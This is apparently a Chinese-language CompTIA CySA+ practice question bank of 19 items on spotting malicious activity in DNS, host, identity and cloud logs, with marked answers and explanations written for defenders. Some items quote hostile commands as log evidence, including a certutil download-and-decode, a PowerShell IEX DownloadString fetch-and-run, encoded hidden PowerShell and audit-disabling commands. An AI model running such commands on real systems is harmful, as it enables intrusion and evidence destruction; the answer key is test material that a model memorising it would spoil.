19 道恶意活动指标练习题及答案

1. 1. DNS 服务器日志显示，某台笔记本在十分钟内发出 4,100 次查询，全部指向同一个外部域名的子域，标签形如 k7f3qm2x9vd4hs2p，长度在 30 到 40 个字符之间。每条应答都是大小相近的 TXT 记录，而该笔记本从未与这个域名解析出的地址建立会话。这种模式最能说明什么？

   • A.内容分发网络按会话签发主机名，这属于常见的负载均衡做法。
   • B.DNS 隧道正在把命令控制或数据通道藏在查询与应答字段里面。✓ 答案
   • C.本地缓存被清空，笔记本正直接从权威域名服务器重新填充记录。
   • D.解析器配置有误，正在重试失败的查询，并给每一次尝试附加随机标签。

   把数据编码进查询标签、再用 TXT 记录回传，等于把名称解析本身变成了双向传输通道，因此即使出站会话被阻断它仍能工作。判别要点是查询量、同一父域名下长度很大且随机性高的标签、大小相近的 TXT 应答，以及始终没有连接解析出的地址；重试、CDN 主机名或缓存重建都不会同时具备这些特征。

   编号 QB-CFP72K依据： CompTIA CySA+ CS0-004 objective 1.2, network indicators (anomalous activity / DNS abuse); MITRE ATT&CK T1071.004 Application Layer Protocol: DNS报告此题的问题

2. 2. 五分钟内，一台工作站向内部解析器查询 600 个此前从未出现过的域名，例如 qvbnlxzrt.com 和 mwdkphjsg.net，其中 597 个返回 NXDOMAIN。第 598 个解析成功，该工作站随即与该地址建立 TLS 会话。这一系列行为说明什么？

   • A.信誉情报源正在预先解析新报告的域名，便于端点缓存判定结果。
   • B.浏览器的纠错功能正在为用户在地址栏中输错的网址猜测其他拼写。
   • C.过期的 DNS 搜索后缀列表让客户端逐个附加已配置的域名。
   • D.域名生成算法恶意软件在轮询候选名称，直到操控者注册的那个解析成功。✓ 答案

   域名生成算法用同一种子推导出大量伪随机域名，使防守方无法封锁固定清单；操控者只注册其中一个，因此绝大多数查询都会失败。所以真正的特征是「大量 NXDOMAIN 之后恰有一个解析成功，并立即建立外连会话」；拼写纠错、搜索后缀或信誉查询都不会以连接那个唯一解析成功的域名收尾。

   编号 QB-VXUCMK依据： CompTIA CySA+ CS0-004 objective 1.2, network indicators (anomalous DNS activity); MITRE ATT&CK T1568.002 Dynamic Resolution: Domain Generation Algorithms报告此题的问题

3. 3. 网络探针记录到某开发者工作站向 203.0.113.44 的 443 端口发起多条外连会话。每条会话的首批字节都是字符串 SSH-2.0-OpenSSH_8.9，始终没有发送 TLS ClientHello，会话持续数小时且双向流量稳定。最合理的解释是什么？

   • A.TLS 1.3 的加密 client hello 使握手字段无法被探针解析出来。
   • B.负载均衡器的健康探测复用了 443 端口来做一次明文可用性检查。
   • C.SSH 会话被封装在 443 端口上，以绕过只放行网页流量的出站过滤。✓ 答案
   • D.由于协商不到受支持的加密套件，客户端从 HTTPS 回退到了未加密的网页协议。

   端口号只说明会话去向，真正决定协议的是链路上的首批字节，而 SSH-2.0-OpenSSH_8.9 是 SSH 的版本交换标识，并非 TLS 握手的任何部分。用出站策略一定放行的那个端口长时间承载 SSH 交互会话，正是典型的「端口与协议不符」；TLS 1.3 仍会发送 ClientHello 记录，因此握手缺失不能用加密 client hello 解释。

   编号 QB-DF2J7M依据： CompTIA CySA+ CS0-004 objective 1.2, network indicators (activity on unexpected ports); MITRE ATT&CK T1572 Protocol Tunneling; RFC 4253 SSH identification string报告此题的问题

4. 4. 一台不承载任何用户文件共享的打印服务器，在 01:00 到 04:00 之间通过 443 端口向某住宅宽带地址传出 48 GB 数据。该主机的每晚备份作业写入内部备份设备、使用另一个端口，并已在 23:40 记录成功完成。证据最支持哪一结论？

   • A.数据正从打印服务器外传，其数据量无法用该服务器的角色解释。✓ 答案
   • B.日志轮转把归档的打印队列文件发送到了本机构订阅的异地存储服务。
   • C.备份作业超出了时间窗口，把剩余部分写到了备用目标上。
   • D.厂商固件更新拉取了大量镜像文件，并缓存在打印服务器本地。

   数据量要对照主机角色来判断，而打印服务器没有任何业务理由把数十 GB 数据发往外部，更不会发往住宅宽带地址。备份这一解释是被证据排除的，不是靠猜测：该作业写的是内部目标、使用另一个端口，并已在一小时前成功结束；固件更新属于入向流量，也不会造成 48 GB 外传。

   编号 QB-WX7QSM依据： CompTIA CySA+ CS0-004 objective 1.2, network indicators (data exfiltration); MITRE ATT&CK T1048 Exfiltration Over Alternative Protocol报告此题的问题

5. 5. 02:00 至 02:40 之间，主机 10.20.5.9 向 240 台内部主机的各 1,000 个端口发送 SYN 包，随后用账户 svc_scan 逐台完成认证。该地址在资产清册中登记为凭据评估主机，时间窗口也与已公布的维护日历一致。正确的判断是什么？

   • A.这是预期内的凭据评估流量；核对来源与窗口后关闭告警。✓ 答案
   • B.这是一台擅自接入的设备，正从非受管地址测绘整个网络。
   • C.这是一个蠕虫在横向传播，先探测所有端口再向目标认证。
   • D.这是一台已被攻陷的内部主机，正在逐台枚举服务器区的资产。

   枚举流量无论恶意还是授权，在网络上看起来都一样，因此只能靠归属来源与时间来定性：清册在册的评估主机、使用自己的服务账户、落在已公布窗口内，这是良性解释而不是发现。指出证据「不能证明什么」在此很关键，因为误升级会消耗响应资源，并让团队日后对来自无主地址的同一模式掉以轻心。

   编号 QB-EFDVCN依据： CompTIA CySA+ CS0-004 objective 1.2, network indicators (scanning and enumeration) — distinguishing authorised assessment activity from reconnaissance报告此题的问题

6. 6. 某用户工作站的进程创建事件显示：outlook.exe 是 cmd.exe 的父进程，cmd.exe 又以参数 -nop -w hidden -enc SQBFAFgAIAAoAE4A 启动了 powershell.exe。事件时间为某周二 10:42。这条进程链说明什么？

   • A.邮件中打开的内容经 cmd.exe 启动了隐藏的编码 PowerShell 命令。✓ 答案
   • B.桌面团队批准的登录脚本会在每次用户登录时刷新该用户的配置项。
   • C.更新服务使用 PowerShell 暂存补丁，其执行窗口正好在今天上午。
   • D.邮件客户端正在运行自带的维护脚本，以重建已经损坏的本地邮箱文件。

   判别要点是进程谱系：邮件客户端不是命令解释器的合法父进程；参数更让结论加重，-w hidden 隐藏窗口，-nop 跳过用户配置，-enc 传入 base64 命令，唯一作用就是让真正的指令不出现在分析师最先看到的日志里。正常的维护、登录脚本和补丁暂存都由服务或会话宿主派生，而不是由刚刚打开附件的那个进程派生。

   编号 QB-XXJ2YN依据： CompTIA CySA+ CS0-004 objective 1.2, host indicators (suspicious processes, scripts); MITRE ATT&CK T1059.001 Command and Scripting Interpreter: PowerShell; Windows Security event 4688 process creation报告此题的问题

7. 7. 主机清单列出两个名为 svchost.exe 的运行进程：一个映像路径为 C:\Windows\System32\svchost.exe，父进程是 services.exe；另一个映像路径为 C:\Users\jrivera\AppData\Local\Temp\svchost.exe，父进程是 explorer.exe，并保持着一条到外部地址的连接。哪项结论成立？

   • A.Temp 路径的那个是按用户运行的服务实例，Windows 设计上就放在用户配置目录。
   • B.两者都正常，因为 svchost.exe 承载大量服务，Windows 会为每个服务组各启动一个实例。
   • C.System32 中那个才是冒充者，因为服务宿主进程通常由 explorer.exe 启动。
   • D.Temp 路径中的那个在伪装，真正的 svchost.exe 由 services.exe 启动。✓ 答案

   可信的进程名本身什么都不能证明，真正用于验明正身的是映像路径和父进程：真正的服务宿主始终从 System32 启动，父进程为 services.exe。位于用户配置目录临时文件夹、由外壳程序启动的那个副本属于伪装，而它保持的外连正是取这个名字想掩盖的行为；真正的实例可以合法出现多次，但绝不会出现在那个路径下。

   编号 QB-FFR7JP依据： CompTIA CySA+ CS0-004 objective 1.2, host indicators (rogue processes); MITRE ATT&CK T1036.005 Masquerading: Match Legitimate Name or Location报告此题的问题

8. 8. 03:12，一台文件服务器记录了服务安装事件 7045：服务名 WinDefragSvc，映像路径 C:\ProgramData\wdfg.exe，启动类型为自动，创建者为某域管理员账户。没有任何变更申请涉及该主机，本环境也未采购任何碎片整理产品。这说明什么？

   • A.已授权的维护代理在管理员首次登录该主机时自行完成注册。
   • B.安装服务是为了在重启后继续运行代码，服务名故意取得像例行组件。✓ 答案
   • C.磁盘优化计划任务是由操作系统自带的存储服务自动创建的。
   • D.补丁周期安装了一个内核驱动服务，这也是启动类型为自动的原因所在。

   启动类型为自动的服务是最持久的驻留手段之一，因为操作系统会在每次启动时无需用户在场即重新运行该程序。三处细节使它偏向恶意而非管理行为：可执行文件放在可写的数据目录而不是厂商程序目录；看似合理的服务名对应不到任何已采购产品；而且这次非工作时间的特权变更没有任何变更记录可以归属。

   编号 QB-QX3QRD依据： CompTIA CySA+ CS0-004 objective 1.2, host indicators (file system and configuration changes); MITRE ATT&CK T1543.003 Create or Modify System Process: Windows Service; Windows System event 7045报告此题的问题

9. 9. 命令行审计在同一台主机上相隔数秒捕获到：certutil.exe -urlcache -split -f http://198.51.100.7/a.txt C:\Users\Public\a.txt，随后是 certutil.exe -decode C:\Users\Public\a.txt C:\Users\Public\a.exe。这两条命令说明什么？

   • A.正在通过明文 HTTP 向企业证书颁发机构提交证书申请。
   • B.正在为本机证书存储区下载吊销列表，并写入本地文件。
   • C.正在滥用微软签名的自带工具下载载荷，并将其解码为可执行文件。✓ 答案
   • D.正在把一张计算机证书导出到共享目录交给另一名管理员。

   把两条命令连起来读，就是先下载、再做 base64 解码并产出一个新的可执行文件，这与证书处理毫无关系，尽管 certutil 本身是证书工具。该手法之所以有效，是因为这个程序是系统自带且由微软签名的，因此信任发布者签名或把系统工具列入允许清单的控制措施都会放行；所以真正应该告警的是参数模式，而不是程序名。

   编号 QB-8F9VBE依据： CompTIA CySA+ CS0-004 objective 1.2, host indicators (living-off-the-land binaries and scripts); MITRE ATT&CK T1105 Ingress Tool Transfer and T1140 Deobfuscate/Decode Files or Information报告此题的问题

10. 10. 某服务器按如下顺序记录：02:39 创建进程 auditpol.exe /set /subcategory:"Process Creation" /success:disable，02:41 事件 1102，02:42 事件日志服务被停止。转发代理此前已把较早的事件送到了收集器。这一序列说明什么？

    • A.保留策略在日志达到配置的容量上限后裁剪掉了最旧的记录。
    • B.维护脚本在夜间备份开始前通过清空日志来回收磁盘空间。
    • C.拥有管理员权限的入侵者关闭并清空了审计，以销毁本机证据。✓ 答案
    • D.代理升级重启了日志相关组件，随后按模板重新写入了审计策略配置。

    顺序本身就是证据：先关掉进程创建审计，再清空安全日志，最后停止日志服务，这是针对入侵记录而非磁盘空间的有意推进。保留策略只会覆盖最旧的条目，不会产生清空事件；而在本例中这番动作是自败的，因为转发副本早已离开该主机。

    编号 QB-EDNSN5依据： CompTIA CySA+ CS0-004 objective 1.2, host indicators (unauthorized changes, anti-forensics); MITRE ATT&CK T1070.001 Indicator Removal: Clear Windows Event Logs; Windows Security event 1102报告此题的问题

11. 11. 脚本块日志在一台工作站上记录到 IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.9/s')。该 PowerShell 进程的父进程是 wmiprvse.exe，磁盘上没有出现新文件，端点代理显示有一条指向同一地址的外连会话。这说明什么？

    • A.软件分发工具推送了一个软件包，而它一直通过管理规范服务暂存待装内容。
    • B.计划任务运行了任务引擎缓存在自身数据库中的一段存储脚本。
    • C.代码经远程 WMI 会话在内存中执行，磁盘上没有留下可扫描的文件。✓ 答案
    • D.管理员在本机桌面的交互式控制台里测试了一次下载操作。

    DownloadString 以文本形式取回脚本，IEX 直接在当前进程中求值，因此执行过程从不落盘，扫描器无物可扫自然报告主机干净。父进程 wmiprvse.exe 说明来源在另一台机器而不是本机键盘前；正因如此，能让这类活动现形的是脚本块日志加进程谱系，而不是基于文件的检测。

    编号 QB-WVFM35依据： CompTIA CySA+ CS0-004 objective 1.2, host indicators (anomalous activity, memory-resident execution); MITRE ATT&CK T1047 Windows Management Instrumentation and T1059.001 PowerShell; PowerShell event 4104报告此题的问题

12. 12. Web 日志显示，四十分钟内有来自 12 个源地址的 9,000 个 POST 请求访问 /api/password-reset，每个请求携带不同的邮箱地址。地址存在时应用返回 200 并提示重置邮件已发送，不存在时返回 404；其中 112 个请求得到 200。这说明什么？

    • A.拒绝服务：重置接口被灌满请求，以耗尽其后端的邮件队列。
    • B.邮件环路：被退回的重置邮件被故障转发器自动反复重新提交。
    • C.凭据填充：从数据泄露中获得的用户名与口令对正在被逐一重放。
    • D.账号枚举：不同的状态码告诉攻击者哪些邮箱地址已经注册。✓ 答案

    应用在充当预言机：由于响应随账户是否存在而不同，每个请求都会泄露一位关于真实用户的信息，那 112 次成功就是被收割出来的目标清单，可用于后续钓鱼或口令攻击。这些流量中根本没有提交任何口令，因此可以排除凭据填充；请求速率也远不足以构成针对邮件队列的可用性攻击。

    编号 QB-DDAFG4依据： CompTIA CySA+ CS0-004 objective 1.2, application indicators (anomalous activity, enumeration); OWASP Authentication guidance on non-enumerable responses报告此题的问题

13. 13. 应用日志显示，同一个会话 cookie 值在同一个 90 秒内出现在相距 6,000 公里的两个网络发来的请求中，两组请求使用不同的 User-Agent 字符串，期间没有任何重新认证。最合理的解释是什么？

    • A.会话令牌被窃取并在另一主机重放，一个 cookie 不能同时服务两台设备。✓ 答案
    • B.移动网络切换更换了运营商地址，而客户端一直保持同一个会话未断。
    • C.账户本人发生了不可能的行程，在移动后从第二个国家完成了登录。
    • D.反向代理正在改写请求头，把彼此独立的会话合并成了同一个会话。

    不可能的行程比较的是两次认证，可能被 VPN 或漫游用户解释掉；而这里的证据是同一个已签发令牌被两个客户端并发使用，单个用户不可能造成这种情形。不同的 User-Agent 以及全程没有新的登录，说明令牌是被导出并重放，而不是重新签发，因此处置方式是在服务端作废该会话，而不只是重置口令。

    编号 QB-VV4AW3依据： CompTIA CySA+ CS0-004 objective 1.2, identity and application indicators (unauthorized access); MITRE ATT&CK T1539 Steal Web Session Cookie and T1550.004 Use Alternate Authentication Material: Web Session Cookie报告此题的问题

14. 14. 某域控记录到：二十二分钟内针对账户 svc_backup 的登录失败事件（4625）共 1,412 条，来源为 198.51.100.22；随后来自同一地址出现一条登录成功事件（4624），登录类型为 10，紧接着是特殊权限事件（4672）。这说明什么？

    • A.口令喷洒：用一个口令去试大量账户，以避免触发锁定阈值。
    • B.针对单个账户的口令猜测成功，随后出现了特权远程交互登录。✓ 答案
    • C.锁定阈值配置有误，某个服务正用过期的密钥反复重试自身登录。
    • D.凭据填充：第三方泄露中的凭据对被重放，直到其中一对生效。

    证据的形态就指明了手法：大量尝试集中在同一账户、来自同一来源，属于暴力猜解；而口令喷洒恰恰是把一个口令稀疏地撒到许多账户上以避开锁定。让它从噪声变成已确认失陷的，是结尾部分——登录类型 10 表示远程交互式会话，紧随其后的特殊权限事件说明该会话被赋予了敏感权限。

    编号 QB-GDCFZ7依据： CompTIA CySA+ CS0-004 objective 1.2, identity indicators (unauthorized access); MITRE ATT&CK T1110.001 Brute Force: Password Guessing; Windows Security events 4625, 4624 (logon type 10) and 4672报告此题的问题

15. 15. 一条告警显示同一账户在 08:02 从丹佛认证、在 08:09 从法兰克福认证。法兰克福那个地址属于本公司自有的云 VPN 出口地址段，两条事件携带相同的设备证书，且该账户的基线显示每个工作日都会走这个出口。应如何判断？

    • A.这是 VPN 出口位置造成的误报；核对出口段与设备后关闭告警。✓ 答案
    • B.这是已确认的账户接管；应立即禁用账户并强制重置其凭据。
    • C.这是刷新令牌被窃后在第二个国家被重放，而第一个会话依然保持着有效。
    • D.这是地理定位数据库出错，把一个国内地址错误归到了别的国家。

    不可能的行程是由地址推断出的关于人的结论，其可靠性取决于地址代表什么：经公司 VPN 集中器出网的流量带的是集中器的地理位置，而不是用户的位置。本例中第二个地址属于自有出口段，两条事件的设备证书相同，且与该用户的日常基线一致，因此该发现尚未成立，需要核对的是地址段归属与设备身份。地理定位库并没有出错，它正确地定位了一个位于境外的出口点。

    编号 QB-YV6AE7依据： CompTIA CySA+ CS0-004 objective 1.2, identity indicators (impossible travel) — validating an indicator against egress ownership and device evidence before escalation报告此题的问题

16. 16. 身份审计日志显示，一名用户为某第三方应用授予了同意，该应用申请了 Mail.Read、Mail.Send 与 offline_access 权限。发布者未经验证，应用注册于三天前，授权后一小时内它通过 API 读取了 2,300 封邮件。日志中没有任何口令修改，也没有任何 MFA 提示。这说明什么？

    • A.MFA 疲劳战术促使用户批准了攻击者触发的那条推送提示。
    • B.邮件客户端在用户把账户添加到新设备后同步了整个邮箱。
    • C.非法的同意授权让该应用获得了对邮箱的长期令牌访问权。✓ 答案
    • D.口令被窃后攻击者登录邮箱，并在其中配置了转发规则。

    这段证据中根本不涉及凭据：用户授权了一个应用，平台随后向它签发了令牌，而 offline_access 意味着用户不在场时访问仍然持续。正因如此，重置口令或再次触发 MFA 都无法把攻击者赶出去——必须撤销这项同意授权并作废其令牌；而未经验证的发布者加上三天前才注册，正是本该阻止授权的信誉信号。

    编号 QB-FDZ4U6依据： CompTIA CySA+ CS0-004 objective 1.2, identity indicators (IAM account compromise, unauthorized access); MITRE ATT&CK T1528 Steal Application Access Token (illicit consent grant)报告此题的问题

17. 17. 目录服务日志显示：01:04 一个服务台账户被加入 Domain Admins（事件 4728）；01:06 至 01:19 该账户读取了财务共享上的 14,000 个文件；01:21 同一账户又被移出该组（事件 4729）。该账户的所有者整周都在已批准的休假中。这说明什么？

    • A.访问复核作业移除了一项未通过本季度复核的组成员资格记录。
    • B.权限只在需要的那几分钟被提升，随后立即回退，这是刻意掩盖特权访问。✓ 答案
    • C.即时提权流程按设计授予并回收了权限，记录与预期完全一致。
    • D.目录复制产生的残留把一次组变更重复记录后又做了反向记录。

    十七分钟内完成「加入、使用、移出」正是证据的关键：把组成员资格恢复原状后，按当前状态做的复核看不出任何异常，只有事件历史和期间的文件访问才能揭示真相。即时提权之所以诱人，是因为它会产生同样的两条事件，但受认可的流程由在岗的所有者申请并获批；而本例中所有者正在休假，权限却在深夜被用于财务共享。

    编号 QB-XVTX86依据： CompTIA CySA+ CS0-004 objective 1.2, identity indicators (privilege abuse, unauthorized access); MITRE ATT&CK T1098 Account Manipulation; Windows Security events 4728 and 4729报告此题的问题

18. 18. 云审计记录显示，属于某构建流水线的访问密钥在一个本机构从未部署的区域被使用。四分钟内同一密钥依次调用 DescribeRegions、CreateUser、AttachUserPolicy（授予管理员权限）以及 RunInstances 创建 20 台 GPU 实例。这说明什么？

    • A.流水线被指向了错误的区域，正在那里创建自己的构建集群。
    • B.该密钥已泄露，正被用来建立持久化并消耗付费算力资源。✓ 答案
    • C.自动伸缩策略在夜间任务积压之后扩容了构建节点的数量规模。
    • D.云厂商的维护事件迁移了工作负载，并重新签发了身份对象。

    定性的是整个序列，而不是其中任何单次调用：先枚举可用区域，再创建一个具备管理员权限的第二身份，然后在从未使用的区域开出昂贵算力，这正是密钥被窃的典型模式，其中新建用户是即便原密钥轮换也能存续的驻留手段。配置错误的流水线或自动伸缩策略会创建实例，但没有理由创建管理员；厂商维护事件也不会代客户调用 CreateUser。

    编号 QB-AD8FYY依据： CompTIA CySA+ CS0-004 objective 1.2, cloud indicators (anomalous activity, resource consumption); MITRE ATT&CK T1078.004 Valid Accounts: Cloud Accounts, T1098.001 Additional Cloud Credentials, T1496 Resource Hijacking报告此题的问题

19. 19. 云审计追踪记录到：02:14 角色 ci-deploy 对组织审计追踪调用 StopLogging；02:15 对一个客户数据存储桶调用 PutBucketPolicy，把 s3:GetObject 授予主体 "*"；02:16 至 03:40 有单一外部地址发起 41,000 次 GetObject 调用。这个先后顺序说明什么？

    • A.生命周期规则把对象移到了公开层级，随后被爬虫索引了其中内容。
    • B.复制作业把桶内容拷到了第二个账户，并沿用了同一个外部端点。
    • C.基础设施模板发生漂移，重新套用了旧策略并顺带停用了审计追踪。
    • D.先让审计静默，再把存储桶开放出去，以便批量下载其中的数据。✓ 答案

    顺序把事故与入侵区分开来：在放宽桶策略前一分钟停用审计追踪，是关于「是否被看见」的决策，而模板、生命周期规则或复制作业都不会做这种决策。紧接着外部读取方立即拉走数万个对象，构成了「先规避检测、再故意暴露并外传」的完整链条；需要控制的对象是那个已被滥用的角色身份。

    编号 QB-SV2ADY依据： CompTIA CySA+ CS0-004 objective 1.2, cloud indicators (anomalous activity, resource compromise); MITRE ATT&CK T1562.008 Impair Defenses: Disable or Modify Cloud Logs and T1567 Exfiltration Over Web Service报告此题的问题

练习题依据 CompTIA CySA+ 考试大纲编写。本网站与 CompTIA 无关联，也未获其认可，题目并非真实考题。CompTIA 会定期更新本考试，并在过渡期内让两个版本并行，考试长度、通过标准与报考条件均由其规定——报名前请向 CompTIA 确认现行大纲与在考的考试代码。真实考试还包含选择题题库无法复现的操作模拟题，因此请结合动手实践一起备考。 官方 CySA+ 考试大纲 →